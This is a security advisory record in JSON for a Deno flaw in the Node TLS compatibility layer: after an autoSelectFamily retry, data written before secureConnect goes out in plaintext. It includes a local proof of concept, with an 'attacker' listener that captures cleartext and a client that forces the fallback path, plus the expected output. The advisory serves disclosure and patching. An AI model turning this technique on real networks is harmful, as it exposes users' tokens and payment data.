{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.7.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44726"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-319"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T19:51:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA flaw in Deno\u0027s Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. \n\nAs a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the `secureConnect` event travelled over the network unencrypted.\n\nA network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.\n\n**Affected APIs**: Applications using Deno\u0027s `node:tls` or `node:https` surface with `autoSelectFamily` enabled (the default) that wrote to the socket before the `secureConnect` event.\n\n## Proof of concept\n\n`attacker.mjs` (captures whatever the client sends)\n\n```ts\nimport net from \"node:net\";\n\nconst server = net.createServer((socket) =\u003e {\n  console.log(\"[attacker] client connected from\", socket.remoteAddress);\n  socket.on(\"data\", (chunk) =\u003e {\n    // If TLS were working, this would be an opaque ClientHello.\n    // If the bug fires, we see the application payload in cleartext.\n    console.log(\"[attacker] received\", chunk.length, \"bytes:\");\n    console.log(chunk.toString(\"utf8\"));\n  });\n});\n\nserver.listen(4444, \"127.0.0.1\", () =\u003e {\n  console.log(\"[attacker] listening on 127.0.0.1:4444\");\n});\n```\n\n`victim.mjs` (a normal-looking TLS client)\n\n```ts\nimport tls from \"node:tls\";\n\nconst socket = tls.connect({\n  host: \"api.example.invalid\",\n  port: 4444,\n  autoSelectFamily: true, // Node-compat default\n\n  // First address is a black hole (nothing on [::1]:4444),\n  // so autoSelectFamily falls back to the second address.\n  // In a real attack, the on-path attacker arranges this via\n  // routing, DNS, or by dropping the first SYN.\n  lookup: (_host, _opts, cb) =\u003e {\n    cb(null, [\n      { address: \"::1\",       family: 6 }, // fails -\u003e retry\n      { address: \"127.0.0.1\", family: 4 }, // attacker\n    ]);\n  },\n\n  rejectUnauthorized: false,\n});\n\n// Application writes BEFORE secureConnect \u2014 common pattern in\n// Node clients that pipe a request body or send a greeting.\nsocket.write(\"POST /v1/charge HTTP/1.1\\r\\n\");\nsocket.write(\"Authorization: Bearer sk_live_SECRET_TOKEN\\r\\n\");\nsocket.write(\"Content-Type: application/json\\r\\n\\r\\n\");\nsocket.write(JSON.stringify({ amount: 100, card: \"4242424242424242\" }));\n\nsocket.on(\"secureConnect\", () =\u003e console.log(\"[victim] secureConnect\"));\nsocket.on(\"error\",         (e) =\u003e console.log(\"[victim] error:\", e.message));\n```\n\n\nIn terminal 1 `deno run --allow-net attacker.mjs`\nIn terminal 2 `deno run --allow-net victim.mjs`\n\n### Expected vs. observed\n\nOn a patched Deno (\u2265 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with `0x16 0x03\n0x01 \u2026`), and the victim eventually errors out because the attacker isn\u0027t speaking TLS.\n\nOn a vulnerable Deno (\u2265 2.0.0, \u003c 2.7.8), the attacker terminal prints:\n\n```\n[attacker] received 41 bytes:\nPOST /v1/charge HTTP/1.1\nAuthorization: Bearer sk_live_SECRET_TOKEN\n...\n```\n\nThe bearer token, the request body, and the card number all appear in plaintext, even though the application used\n`tls.connect`.",
  "id": "GHSA-chqv-56wv-7564",
  "modified": "2026-05-27T19:51:46Z",
  "published": "2026-05-27T19:51:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/denoland/deno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deno\u0027s TLS retry copies stale upgrade hook, risking plaintext traffic"
}